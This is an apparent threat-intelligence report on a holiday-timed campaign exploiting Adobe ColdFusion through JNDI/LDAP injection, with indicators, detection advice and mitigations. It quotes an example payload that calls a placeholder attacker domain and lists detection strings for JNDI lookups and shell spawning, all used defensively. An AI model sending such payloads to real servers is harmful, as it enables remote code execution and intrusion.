A large-scale, automated attack campaign was observed targeting Adobe ColdFusion servers, with a significant spike in activity on Christmas Day, 2025. The campaign, tracked by security firm GreyNoise, was attributed to a single threat actor leveraging infrastructure in Japan. The attacker systematically attempted to exploit over a dozen different vulnerabilities in ColdFusion, including CVE-2023-26360, using JNDI/LDAP injection as the primary payload. This targeted campaign is part of a much broader reconnaissance effort by an initial access broker, who has been observed scanning the internet for 767 distinct CVEs across 47 different technologies. The goal of this operation is likely to gain a foothold in vulnerable networks and then sell that access to other threat actors, such as ransomware groups.
The threat actor demonstrated a strategic approach by launching the campaign during a major holiday, a time when security teams are often understaffed and response times may be slower. The operation was highly focused, with 98% of the malicious traffic originating from two IP addresses associated with the Japanese hosting provider CTG Server Limited. The actor's use of JNDI/LDAP injection is a common technique for achieving remote code execution (RCE) on Java-based platforms like ColdFusion. The broader context reveals a sophisticated initial access broker (IAB) at work, whose business model is to compromise as many systems as possible to create a sellable inventory of compromised networks for the cybercrime ecosystem.
Reconnaissance & Scanning: The actor conducted broad, indiscriminate scanning across the internet, targeting a list of 767 known CVEs. The specific focus on Adobe ColdFusion indicates it was identified as a high-value target.
Exploitation: The primary attack vector was T1190 - Exploit Public-Facing Application. The attacker sent malicious HTTP requests designed to exploit various ColdFusion vulnerabilities.
Payload Delivery: 80% of the observed payloads involved JNDI/LDAP injection. This technique abuses the Java Naming and Directory Interface (JNDI) to trigger a lookup to an attacker-controlled LDAP server. The LDAP server then responds with a reference that causes the victim server to load and execute a remote Java class file, resulting in RCE.
Example Payload Pattern: ${jndi:ldap://attacker-domain.com/a}
Objective: The actor's goal is to establish initial access. This involves deploying a simple backdoor or web shell that provides persistent access to the compromised server. This access is then packaged and sold on dark web forums.
The immediate impact of a successful compromise is the establishment of an unauthorized foothold in the organization's network. While this initial access may be silent, it is a precursor to more damaging attacks. IABs are a critical part of the cybercrime supply chain, feeding victims to ransomware gangs, data thieves, and nation-state actors. An organization compromised by this campaign could soon find itself facing a ransomware incident, a major data breach, or being used as a pivot point to attack its partners. The financial and reputational damage from such follow-on attacks can be devastating.
| Type | Value | Description |
|---|---|---|
network_traffic_pattern |
Inbound traffic from CTG Server Limited (Japan) | 98% of attacks originated from this provider's infrastructure. |
url_pattern |
jndi:ldap:// or jndi:rmi:// |
The presence of these strings in web server request logs is a strong indicator of a JNDI injection attempt. |
log_source |
ColdFusion Logs | Look for errors related to deserialization, class loading, or JNDI lookups. |
process_name |
java.exe or coldfusion.exe |
Monitor the ColdFusion process for suspicious child processes or outbound network connections to unusual destinations. |
jndi:. Correlate these attempts with outbound connection attempts from the ColdFusion server to unknown IP addresses on ports like 389 (LDAP) and 1099/1389 (RMI).cmd.exe, /bin/sh) or initiating network connections to untrusted endpoints. This can detect a successful RCE.D3-SU: Software Update.D3-OTF: Outbound Traffic Filtering.D3-ACH: Application Configuration Hardening.Ensure all ColdFusion servers are fully patched against all known vulnerabilities to prevent exploitation.
Mapped D3FEND Techniques:
Implement egress filtering to block outbound LDAP, RMI, and DNS traffic from application servers to untrusted destinations.
Mapped D3FEND Techniques:
Harden the configuration of the Java Virtual Machine (JVM) and ColdFusion to disable features like remote class loading that enable JNDI exploits.
Mapped D3FEND Techniques:
To effectively neutralize JNDI/LDAP injection attacks against ColdFusion servers, strict outbound traffic filtering is a critical countermeasure. A successful exploit requires the compromised server to initiate an outbound connection to an attacker-controlled server (e.g., via LDAP on port 389 or RMI on port 1099). By configuring egress firewall rules to deny all outbound traffic from ColdFusion servers by default and only allowing connections to known, legitimate destinations (such as database servers or internal APIs), organizations can break the attack chain. This prevents the server from fetching the malicious Java class, rendering the initial exploit useless. This 'deny-by-default' egress policy is one of the most effective ways to mitigate this entire class of vulnerability.
Implementing real-time URL analysis via a Web Application Firewall (WAF) or similar appliance can detect and block JNDI injection attempts before they reach the ColdFusion application. Security teams should configure their WAF with rules that specifically look for patterns like jndi:ldap://, jndi:rmi://, and other JNDI lookup syntaxes within incoming HTTP requests (including headers, URL parameters, and POST bodies). When a match is found, the request should be blocked and a high-priority alert should be generated. This acts as a virtual patch, protecting the application even if it has not yet been updated with the latest security fixes from Adobe.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
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